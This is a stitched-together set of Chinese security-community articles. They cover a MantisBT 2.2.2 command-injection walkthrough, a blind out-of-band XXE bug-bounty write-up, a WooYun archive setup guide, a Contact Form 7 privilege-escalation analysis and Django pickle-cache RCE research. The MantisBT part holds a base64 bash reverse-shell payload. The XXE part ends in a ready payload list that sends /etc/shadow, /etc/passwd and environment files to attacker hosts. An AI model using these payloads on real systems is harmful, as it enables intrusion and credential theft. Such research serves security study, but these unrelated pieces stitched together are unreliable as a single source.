仔细分析一下第二个包最后的结果：
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33
Content-Length: 257
adm_config_set_token=20220728agSFMyTMhprSgtlLxXdhye0ejxWCxE1W&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=relationship_graph_enable&original_config_option=&type=0&value=1&action=create&config_set=Create+Configuration+Option
执行的命令为
UPDATE mantis222_config_table222 SET value="1", type=1, access_reqd=90 WHERE config_id = relationship_graph_enable AND project_id = 0 AND user_id = 0
再分析第三个数据包
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6
Content-Length: 345
adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Configuration+Option
执行的命令
UPDATE mantis222_config_table222 SET value="echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA+JjE= | base64 -d | /bin/bash;", type=2, access_reqd=90 WHERE config_id = "dot_tool" AND project_id = 0 AND user_id = 0
可以看到，配置的数据库中dot_tool的value值被设置为我们要执行的命令
继续分析第四个数据包
GET /mantisbt-2.2.2/workflow_graph_img.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33
分析一下workflow_graph_img.php
......
$t_dot_tool = config_get( 'dot_tool' );
......
$t_graph = new Graph( 'workflow', $t_graph_attributes, $t_dot_tool );
$t_graph->set_default_node_attr( array ( 'fontname' => $t_graph_fontname,
'fontsize' => $t_graph_fontsize,
'shape' => 'record',
'style' => 'filled',
'height' => '0.2',
'width' => '0.4' ) );
$t_graph->set_default_edge_attr( array ( 'style' => 'solid',
'color' => '#0000C0',
'dir' => 'forward' ) );
foreach ( $t_status_arr as $t_from_status => $t_from_label ) {
$t_enum_status = MantisEnum::getAssocArrayIndexedByValues( config_get( 'status_enum_string' ) );
foreach ( $t_enum_status as $t_to_status_id => $t_to_status_label ) {
if( workflow_transition_edge_exists( $t_from_status, $t_to_status_id ) ) {
$t_graph->add_edge( string_no_break( MantisEnum::getLabel( lang_get( 'status_enum_string' ), $t_from_status ) ),
string_no_break( MantisEnum::getLabel( lang_get( 'status_enum_string' ), $t_to_status_id ) ),
array() );
}
}
}
$t_graph->output( 'png', true );
会从配置中取出我们设置好的dot_tool值，然后作为参数实例化一个Graph对象，最终会调用Graph的output方法
查看Graph的构造函数
function __construct( $p_name = 'G', array $p_attributes = array(), $p_tool = 'neato' ) {
if( is_string( $p_name ) ) {
$this->name = $p_name;
}
$this->set_attributes( $p_attributes );
$this->graphviz_tool = $p_tool;
}
会将参数dot_tool的值赋给graphviz_tool
进而在Graph类的output函数中
function output( $p_format = 'dot', $p_headers = false ) {
......
$t_command = $this->graphviz_tool . ' -T' . $p_format;
$t_descriptors = array(
0 => array( 'pipe', 'r', ),
1 => array( 'pipe', 'w', ),
2 => array( 'file', 'php://stderr', 'w', ),
);
$t_pipes = array();
$t_proccess = proc_open( $t_command, $t_descriptors, $t_pipes );
......
}
会将graphviz_tool参数拼接到命令中执行proc_popen，进而导致命令注入
## 参考
[1] [1s1and's blog](https://1s1and123.github.io/)
[2]
[CVE-2017-7615](https://bugtraq.securityfocus.com/detail/201704181234.v3ICYCab032033) | 社区文章 |
原文：<https://hawkinsecurity.com/2018/03/24/gaining-filesystem-access-via-blind-oob-xxe/>
今天，我将为大家详细介绍自己在某私人漏洞赏金计划中发现带外XXE(XML External Entity
attack)盲攻击漏洞的过程。为了保护客户的隐私，其中的某些信息已经做了适当的处理。
与其他漏洞赏金计划任务一样，我做的第一件事情，就是尽可能广泛地查找指定范围内的各类资产。经过一番折腾，我发现了一个感兴趣的子域。然后，我搜遍了该子域的所有目录，并找到了一些端点/通知。通过GET请求访问该端点，可以看到以下页面：
我注意到，响应中的xml内容类型带有一个xml主体，并且该主体含有相应的XML
SOAP语法。由于我对这里的GET参数不太清楚，所以决定向端点发出POST请求，这时发现响应主体竟然消失了，并且响应代码变为200。
由此看来，这个Web应用程序似乎对该POST请求的响应一切正常，因为它并没有发出405 Method Not
Allowed错误消息，所以我决定发送一个包含xml语法的请求，并将内容类型设为application/xml。
虽然这次得到的响应与以往的响应有所不同，不过，这里的响应也是采用了XML格式，就像向该端点发送GET请求时的情形一样。但是这次，标签内的值是“OK”，而不是“TestRequestCalled”。此外，我还发送了一个json请求，以观察该应用程序如何响应，结果如下所示。
我们可以看到，该响应是空的，这跟发送没有指定内容类型的POST请求时的情形一样，所以，我们可以断定该端点是用来处理XML数据的。所以，我们可以建立VPS来托管一个DTD文件，以便符合该XML处理器的要求。以下是dtd成功处理后返回的结果，并附加了所需的文件内容。
我还使用脚本：https：//github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb搭建了一个FTP服务器，并进行相应的监听，以便可以通过ftp协议来提取服务器的信息/文件内容：https：//github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
虽然这个主题有些重复，但我还是很想分享这个发现，因为这是一个非常棒的学习经历：就算在不知道某些输入具体的用途/功能的情况下，仍然能够设法考察应用程序是如何响应这些输入的。虽然之前的相关分析报告没有能够从服务器中提取信息，但是，仍然因发现这个漏洞获而得了8k美元的奖励。
希望下面XXE有效载荷对大家的测试工作能够带来一些帮助：
-------------------------------------------------------------- Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
--------------------------------------------------------------- OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
---------------------------------------------------------------- OoB variation of above (seems to work better against .NET)
---------------------------------------------------------------- <?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
--------------------------------------------------------------- OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
----------------------------------------------------------------------- OoB extra ERROR -- Java
----------------------------------------------------------------------- <?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
----------------------------------------------------------------------- OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">
------------------------------------------------------------------ File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: %
-------------- FTP
-------------- <?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
--------------------------- Inside SOAP body
--------------------------- <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx></xxx>]]></foo></soap:Body>
--------------------------- Untested - WAF Bypass
--------------------------- <!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
view raw
XXE_payloads hosted with ❤ by GitHub | 社区文章 |
# 【技术分享】手把手教你本地搭建8.8W（全量）乌云漏洞库
|
##### 译文声明
本文是翻译文章，文章来源：zhihu.com
原文地址：<https://zhuanlan.zhihu.com/p/26759783>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
前段时间，老师在群里分享了一个 github 的连接，说开源了。
我记得当时，看了看，才那么几百M，还 8.8 W = = ！
昨天，我一朋友自己直接搭自己硬盘上了，我就自己搭搭吧，很简单的，一放一点就成了。
按我的风格，肯定要记录的详细的不能再详细了 ，就算很简单的步骤，我也要详细点。
就像，我上次用 linux 的系统，搭建一个网站，要是有大牛直接甩我 一堆命令行 ，该有多好，我直接张贴复制就是怼。 #（斜眼笑。。。）
这个是开源地址：
<https://github.com/m0l1ce/wooyunallbugs>
这是我存我百度盘里的：
链接: <http://pan.baidu.com/s/1nvkFKox> 密码: 94sp
**本地搭建 8.8 W 乌云漏洞库**
1，首先去下载一个集成环境工具，这里我用的 phpStudy ， 33M 的这个。
下载地址：[phpStudy 2016.11.03
再次更新，支持自定义php版本](http://link.zhihu.com/?target=http%3A//www.phpstudy.net/a.php/211.html)
2，然后，我解压到我的 Ｄ 盘上了。
3，把源码和数据库先下载开，图片用的是外连，人家也说了，放图片的服务器不会关掉的。
4，把 bugs.rar 这个源码包解压到了 D:phpStudyWWWbugs 这里。
5，在源码里找见 conn.php 这个文件，用记事本打开，或者想我一样下载了 notepad++ ，打开就是了，在里面修改成自己 MySQL
数据库的账号密码 。
6，然后把 wooyun.rar 拖进 D:phpStudyMySQLdata 这里解压下，这里是数据库存放的地方。
7，启动 phpstudy ，然后点击面板上的选择版本，看下是不是 5.3 版本的，如果不是就选择到这个 5.3 版本
。（昨天就这个版本问题，害的我一连不上数据库。。。）
8，点击 mysql 管理器，站点域名管理，然后该杂弄杂弄。。。
9，一般到这里就结束了，直接启动服务器，然后然后输入 127.0.0.1 就能进入了主页面了。
10，恩，先修改一个小错误，再继续说说其他的。他的源码不知道杂回事，进入具体的页面时就会在上面出现报错的提示。。。
10.1，看着挺不好看的，那我就关闭这个提醒吧，
额，那个其中有些步骤，需要多点击重启这个按钮的，就是把操作更新到设置中。。。反正最后多重启几下就好了。
1，其他，如果修改域名的话，建议用管理员权限打开 phpstudy 这个工具 。
2，继续来到域名管理的那个页面。
3，然后打开 hosts 这个文本。
4，添加自己的域名解析地址。
5，来看一下效果 。
1，下载了一下午的图片，终于下载到我电脑上了。那么开始吧。
2，在 wuyun 源码里新建一个 upload 文件夹。
3，把这一堆的图片全部解压到 upload 这个文件夹里。
快一个小时了。。。。 关解压都能解压半个多小时，我也是醉醉的。。。
4，继续用右键管理员权限运行 phpStudy.exe 。
5，继续 点击 MySQL 管理器，点击 站点域名管理 ，新增一个 static.loner.fm 域名，然后路径继续绑定到 wuyun
这个源码路径里，和一开始那个操作差不多，新增，保存。
6，继续点击 其他选项菜单，继续打开 hosts 这个文本 ，然后输入在原来的下一行输入以下地址，并保存
localhost static.loner.fm
7，最后，启动下环境，输入地址，看下效果，是不是成功本地了。
**后记**
全文一步一步的写，我对我自己也是醉醉的。。。不过以后可以本地默默的看 8.8 w 的漏洞库的，嘎嘎。(*^__^*) 嘻嘻… | 社区文章 |
**作者：[i9n0re](https://i9n0re.github.io/2018/12/22/wordpress-contact-form-7-v5-0-3-%E6%8F%92%E4%BB%B6-%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E3%80%81%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
"i9n0re") **
### 简介
看到了国外有大佬发了关于WordPress的一个非常有名的插件，contact form
7的漏洞，之前见到过很多WordPress站点使用这个插件，大佬写的比较笼统，一些详细的利用方式没有说的太明白.
### 漏洞成因
这个漏洞是由于插件开发者对WordPress的使用不当造成的，其实跟WordPress的逻辑有一定的关系，导致了可以发布普通文章的用户，可以绕过权限认证，进行发表原本插件作者只允许管理员创建和修改的自定义类型的"post"。
漏洞作者发现了contact from
7插件存在这样的缺陷，导致了任意一个可以发表普通文章的用户，可以新建一个contact，而且在5.0.3版本下，附件可以跨目录进行添加文件，进而可以读取网站的
`wp-config.php`。
#### 相关的技术点
##### nonce
首先我们了解下什么是nonce？nonce相当于`csrf token`是WordPress用来防御csrf问题的，并进行了相关的权限验证。
##### post_type
`post_type`是插件作者注册的自定义`post`类型，与WordPress的文章类似，插件作者要实现一个页面来进行管理文章类型。只有在后台的新建或者编辑页面当中可以获取到`nonce`随机数，提交的时候只有代入了nonce才能进行相应的操作。
### 漏洞详情
以contact form 7 v5.0.3为例。
##### 插件作者只允许WordPress的`editor`才能新建和编辑contact。
如果是文章的发布者，就没有修改和创建权限，会显示下面的页面。
contact form 7也是一种自定义类型的 `post` ，数据里面都是存在了`wp_posts`表当中，通过 `post_type`进行区分。
正常情况，插件作者是通过 `current_user_can('publish_pages')`
进行权限的判定，也就是说editor以上的权限可以编辑，防止普通用户打开新建和修改文章的页面。
但是用户仍可以操作普通的文档，通过请求接口 `wp-admin/post.php` 的方式进行新建和编辑文章，只不过 `post_type`
变为了`post`等普通文档类型。由于插件作者在 `register_post_type`
的时候没有进行相关权限的配置，仅仅依靠了`current_user_can('publish_pages')`验证用户编辑权限，出现了安全问题。
##### 接下来我们来看看普通文档的新建、编辑流程。
正常流程上，普通文档上传接口是请求 post-new.php后先生成一个 `post`，然后再进行编辑，请求post.php，设置参数 `action` 为
`editpost`。
// wp-admin/post.php
case 'editpost':
check_admin_referer('update-post_' . $post_id);
$post_id = edit_post();
// Session cookie flag that the post was saved
if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
}
redirect_post($post_id); // Send user on their way while we keep working
exit();
通过函数 `check_admin_referer` 检测nonce是否合法。
// wp-includes/pluggable.php
// Nonce generated 0-12 hours ago
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 1;
}
// Nonce generated 12-24 hours ago
$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 2;
}
漏洞利用的地方是通过传入action为`post`，调用下面这个逻辑。
// wp-admin/post.php
case 'post':
check_admin_referer( 'add-' . $post_type );
$post_id = 'postajaxpost' == $action ? edit_post() : write_post();
redirect_post( $post_id );
exit();
其中 post_type 是通过传入的 `post_id` 去数据库里面查询得到。
// wp-admin/post.php
if ( $post_id )
$post = get_post( $post_id );
if ( $post ) {
$post_type = $post->post_type;
$post_type_object = get_post_type_object( $post_type );
}
可以看到，如果传入的 `post_id`为正常帖子创建请求，这个地方的 `nonce` 普通用户就可以通过页面进行获取了。
##### 绕过nonce检测
可以看到 `post_id` 是通过 `$_GET['post']` 或者 `$_POST['post_ID']`两种方式获取。
// wp-admin/post.php
if ( isset( $_GET['post'] ) )
$post_id = $post_ID = (int) $_GET['post'];
elseif ( isset( $_POST['post_ID'] ) )
$post_id = $post_ID = (int) $_POST['post_ID'];
else
$post_id = $post_ID = 0;
所以如果我们构建一个存在的并且`post_type`为 `post` 的帖子ID作为参数传入的话， `check_admin_referer`
的参数变为了固定值 `add-post` 这样的话，如果我们拿到了nonce就可以绕过了检测。有同学会问，怎么得到这个nonce呢？通过跟代码，我发现在
dashboard 页面当中，下面这个功能里面就有我们需要的nonce，通过查看源代码，获取这个表单的input这样就绕过了检测。
<input type="hidden" id="_wpnonce" name="_wpnonce" value="xxx" />
##### 创建自定义类型的post
绕过了nonce检测后，我们来看 `post` 那个case，流程会进入到 `write_post` 函数，然后我们看到这个逻辑。
// wp-includes/post.php
if ( !current_user_can( $ptype->cap->edit_posts ) ) {
if ( 'page' == $ptype->name )
return new WP_Error( 'edit_pages', __( 'Sorry, you are not allowed to create pages on this site.' ) );
else
return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to create posts or drafts on this site.' ) );
}
问题就出现在这，因为作者在注册post_type的时候没有进行权限限制，导致了权限提升。
v5.0.3 的插件配置:
//wp-content/plugins/contact-form-7/includes/contact-form.php
public static function register_post_type() {
register_post_type( self::post_type, array(
'labels' => array(
'name' => __( 'Contact Forms', 'contact-form-7' ),
'singular_name' => __( 'Contact Form', 'contact-form-7' ),
),
'rewrite' => false,
'query_var' => false,
) );
}
就导致了如果绕过了nonce检测，普通用户也就可以成功的创建只有editer权限才可以创建的 contact form 7了。
##### 进一步利用
权限提升已经完成，下面就是利用了contact from 7 v5.0.3的一个问题。
当发送邮件的时候，可以携带附件，但是这个附件可以跨目录读取，导致了用户可以直接携带 `wp-config.php` 进行发送，实现敏感信息的泄露。
### 漏洞利用
理清了漏洞触发逻辑，利用方式就简单了，在后台登录页面，直接引用 [poc.js]()。
注意修改几个参数
1. 修改get请求，query参数的post为已存在的帖子ID。
2. 修改post参数中，_wpnonce为上文说的获取方式。
3. 修改post参数中 `meta_input[_mail][recipient]` 参数为自己的收件箱。
4. `meta_input[_mail][attachments]` 这个参数代表着想要获取的附件。
5. 其他的标题，主题什么的参数看情况自己修改。
然后可以在控制台里面引用，会发现新建了一个表单，然后在帖子里面正常引用这个表单，再页面中使用，并点击发送后，在自己的收件箱当中收到 `wp-config.php` 的附件。
### 漏洞修复
在注册 `post_type` 的时候，配置权限。
//wp-content/plugins/contact-form-7/includes/contact-form.php
public static function register_post_type() {
register_post_type( self::post_type, array(
'labels' => array(
'name' => __( 'Contact Forms', 'contact-form-7' ),
'singular_name' => __( 'Contact Form', 'contact-form-7' ),
),
'rewrite' => false,
'query_var' => false,
'capability_type' => 'page'
) );
}
如果进行了这样的配置的话，在进行 `write_post` 这个函数逻辑的时候
// wp-includes/post.php
if ( !current_user_can( $ptype->cap->edit_posts ) ) {
if ( 'page' == $ptype->name )
return new WP_Error( 'edit_pages', __( 'Sorry, you are not allowed to create pages on this site.' ) );
else
return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to create posts or drafts on this site.' ) );
}
这个判断才会生效，导致权限认证失败。
**[原文链接](https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/ "原文链接")**
**[poc.js](https://github.com/GurdZain/contact_form_7_v5.0.3_poc/blob/master/poc.js)**
* * * | 社区文章 |
# XCode编译器里有鬼 – XCodeGhost样本分析
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：[http://drops.wooyun.org/news/8864?url_type=39&object_type=webpage&pos=1](http://drops.wooyun.org/news/8864?url_type=39&object_type=webpage&pos=1)
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
**0X00前言**
Django
一直以来安全性就非常之高，从2005发行到现在就没有出现过能够无条件直接利用的RCE。本着对Django的学习，来聊聊Django因编程不当而产生的RCE。本次谈论的是`CVE-2014-0472`历史漏洞和Django新型RCE利用方法——FileBasedCache。
**0x01 CVE-2014-0472**
2014年，Django官方修复一个问题，其描述是因位于django/core/urlresolvers.py文件中的reverse函数过滤不当而导致Django可以任意获取内部的函数，如果攻击者知道代码内部存在恶意的模块，则可以发起任意代码执行。参考<https://www.djangoproject.com/weblog/2014/apr/21/security>。
来看看官方的补丁<https://github.com/django/django/commit/8b93b31487d6d3b0fcbbd0498991ea0db9088054>
可以看见修复的地方为urlresolvers.py文件，增加了对传入reverse函数内部功能的检查，检查改方法是否存在于url路由表中。
同时，该文件也在2014年被删除，现在reverse函数位于文件`/django/url/resolvers.py`中。同样，来看看漏洞的位置
我们传入redirect函数内的参数会被传到reverse函数去查看是否含有如下的URL的路由，例如
url(r'^index', views.red, name="index_view")
当我们传入参数为`index_view`时，Django识别出来之后给我们跳转到index的URL上面。其中`get_callable`即为搜索URL的函数方法
从进入callable函数的过程中可以看到当函数不能被调用的时并且函数名字不为空的时候则进入到`lookup_view =
getattr(import_module(mod_name),
func_name)`这一行代码中去，而这一行代码则会在不拥有任何过滤的情况使用getattr调用这个函数的名字，从而造成了任意函数的引用。
构造一个视图函数并配置路由
def redirect_test(request):
page = request.GET.get('page', None)
if page is not None:
redirect(page)
return HttpResponse("OK")
# url
url(r'^example', views.redirect_test, name="redirect")
这是一个基本的跳转方法，当我们往page参数输入redirect参数的时候，页面会跳转到example的路由中来
如果我们输入一个并不存在的路由函数的时候则会触发reverse报错
当我们输入`os.system`的时候报错结果如下
可以看到os.system被Django调用了。同时也可以在getattr处下断点，此处传入参数sys.path，得到如下结果
可以看到成功调用了sys.path并返回了参数。而改漏洞的利用点为当攻击者知道项目本身利用的恶意引用的时候则可以调用改方法。虽然这听起来很鸡肋，但是官方非常重视这个问题的原因是它可以出自Django自身的代码，也就是admin路由。用过admin的用户都知道，访问admin的头的时候会跳转到`admin/login/?next=/admin/`的URL中去，例如python官网是这样
而这个next后面的传值，实际上就是发往redirect函数中的参数。
如何利用
我们可以通过getattr去访问Django框架下的任意的参数，比如位于apps.py文件底下的函数，我们可以直接传入参数app.apps.xxx即可以拿到该函数的对象，可能产生危害的环境我放到了github上，欢迎师傅们来讨论
<https://github.com/christasa/CVE-2014-0472>
**0x02 FileBasedCache**
这是我本文主要介绍的另一种情况——Django的缓存配置错误引发的RCE。在Django开发的过程中缓存是使用的比较多的，GitHub上搜索关键字cache_page的结果大约有200K以上，配置的方法可以有如下的几种
from django.views.decorators.cache import cache_page
@cache_page(60 * 15)
def cache_views(requests)
...
或者
# urls.py
path('cache_url', cache_page(60 * 60 * 6)(cache_views))
Cache缓存的存储方式有很多种，具体可以参考官方文档<https://docs.djangoproject.com/en/3.1/topics/cache/>，本次主要谈一谈FileBasedCache的方法。
基于文件系统的缓存主要代码逻辑位于`django/core/backends/filebased.py`文件中，其FileBasedCache类同样继承了BaseCache的几个方法`add`、`get`、`set`、`delete`和`touch`等。从开头引入的包可以看到，Django的Cache功能引用了pickle作为压缩的主要模块，既然有pickle，那就有可能会存在反序列化，来看看cache是怎么进行内容的读取的。从get方法来看
def get(self, key, default=None, version=None):
fname = self._key_to_file(key, version)
try:
with open(fname, 'rb') as f:
if not self._is_expired(f):
return pickle.loads(zlib.decompress(f.read()))
except FileNotFoundError:
pass
return default
Django对缓存文件内容的读取是直接进行loads的，没有进行任何过滤。与此同时，在pickle.loads之前会有一个`self._is_expired`函数来检查缓存文件是否过期，再来跟进一下该函数
def _is_expired(self, f):
"""
Take an open cache file `f` and delete it if it's expired.
"""
try:
exp = pickle.load(f)
except EOFError:
exp = 0 # An empty file is considered expired.
if exp is not None and exp < time.time():
f.close() # On Windows a file has to be closed before deleting
self._delete(f.name)
return True
return False
可以看到逻辑为首先通过序列化文件内容，拿到序列化的时间戳，如果时间不为0或者小于设置的时间时返回True。看到关键点`exp =
pickle.load(f)`。没有进行任何的过滤从而直接进行load文件序列化，这就意味着我们可以构造任何恶意的序列化内容来控制Django返回的内容，甚至是RCE，只要我们知道缓存存放的名字和位置，那么我们就能够直接进行代码执行。
幸运的是Django恰巧同时满足这两个条件！
第一个位置的条件我们可以从settings.py文件中关于cache的配置中得到，并且官方有着推荐的地址分别为Linux下的`/var/tmp/django_cache`和Windows下的`c:/foo/bar`
这导致部分开发者直接使用了官方推荐的地址，从GitHub搜索的结果可以看出
第二名字的条件。来分析一下Django生成cache名字的代码，位于`django/utils/cache.py`文件和`django/core/backends/filebased.py`中，核心的代码如下
def _generate_cache_key(request, method, headerlist, key_prefix):
"""Return a cache key from the headers given in the header list."""
ctx = hashlib.md5()
for header in headerlist:
value = request.META.get(header)
if value is not None:
ctx.update(value.encode())
url = hashlib.md5(iri_to_uri(request.build_absolute_uri()).encode('ascii'))
cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
key_prefix, method, url.hexdigest(), ctx.hexdigest())
return _i18n_cache_key_suffix(request, cache_key)
def _key_to_file(self, key, version=None):
"""
Convert a key into a cache file path. Basically this is the
root cache path joined with the md5sum of the key and a suffix.
"""
key = self.make_key(key, version=version)
self.validate_key(key)
return os.path.join(self._dir, ''.join(
[hashlib.md5(key.encode()).hexdigest(), self.cache_suffix]))
缓存的URL分为GET方式和HEAD方式，`views.decorators.cache.cache_page.%s.%s.%s.%s`里面传入的值分别是自定义的缓存前缀，方法，URL的MD5值和参数，最后使用`.djcache`结尾。总结出来的名字的规则为
md5("<prefix>:1:views.decorators.cache.cache_header.<prefix>.<全局url的md5>.en-us.UTC") + ".djcache"
md5(“<prefix>:version:views.decorators.cache.cache_page.<prefix>.GET.<全局url的md5>.d41d8cd98f00b204e9800998ecf8427e.<时间区域>”) + ".djcache" # GET方式拿到的cache 名字
md5(“<prefix>:<version>:views.decorators.cache.cache_page.<prefix>.HEAD.<全局url的md5>.d41d8cd98f00b204e9800998ecf8427e.<时间区域>") + ".djcache"# HEAD方式拿到的cache名字
例如，当我们使用GET请求访问一个URL为`http://127.0.0.1:8000/`时，其产生的两个cache的名字分别为
md5(":1:views.decorators.cache.cache_header..md5("http://127.0.0.1:8000/").en-us.UTC") + "djcache" = 96f05816abc9879d149c5a6fb516c796.djcache
md5(":1:views.decorators.cache.cache_page..GET.md5("http://127.0.0.1:8000/").en-us.UTC") .d41d8cd98f00b204e9800998ecf8427e.en-us.UTC") + ".djcache" = 970fe90174a01b863a3ec74833134b47.djcache
至此，我们拿到能够获得进行pickle序列化的所有条件。
利用场景
Django创建cache文件夹的默认权限是700，这意味无法通过同组的用户来进行改写，但是Django的服务器一般是用nginx或者apache等来启动。有的情况下，nginx服务器底下可能不止一个服务在运行，也可能是PHP或者其他。那么如果其他服务能够进行对临时文件夹`tmp`或`/var/tmp`内部的内容进行读写的话，则可以对Django框架进行攻击
另一种情况就是文件上传。部分开发者会错误地将cache的位置配置在文件上传的位置，也就是[CACHE
LOCATION](https://docs.djangoproject.com/en/3.1/topics/cache/#filesystem-caching "CACHE
LOCATION")为[MEDIA_ROOT](https://docs.djangoproject.com/en/3.1/ref/settings/#media-root
"MEDIA_ROOT")的子目录，这种情况就可以通过文件上传来进行pickle序列化的RCE。但是Django里model的FileField方法不会覆盖原来已有的文件，同时Django也不会主动删除缓存文件，因此无法覆盖GET型缓存。这种情况可以尝试上传HEAD类型的缓存并访问，同样也可以达到pickle
RCE的效果。
除去RCE，之前也提到过，Django在到达最大cache缓存数量之前不会主动删除已经过期了的cache文件，只有在下一次访问的时候进行检查和重写。因此我们可以通过因为某些测试的路由在删除之后没有删除cache文件而导致的敏感信息泄漏。这种配置通常出现在CACHE
LOCATION的位置位于[STATIC_ROOT](https://docs.djangoproject.com/en/3.1/ref/settings/#std:setting-STATIC_ROOT
"STATIC_ROOT")或者[STATICFILES_DIRS](https://docs.djangoproject.com/en/3.1/ref/settings/#staticfiles-dirs "STATICFILES_DIRS")上。
来看看cache保存的内容，同样，在filebase.py文件的`_write_content`函数上面下断点
可以看到HttpResponse类中的content参数即为html的内容，我们同样也能通过改写缓存文件进行内容伪造。cache的内容提取的代码如下
import pickle
import zlib
import sys
def readcachecontent(filename):
f = open(filename, "rb")
pickle.load(f)
previous_value = pickle.loads(zlib.decompress(f.read()))
f.close()
print("Content:")
print(previous_value.content)
if __name__ == '__main__':
filename = sys.argv[1]
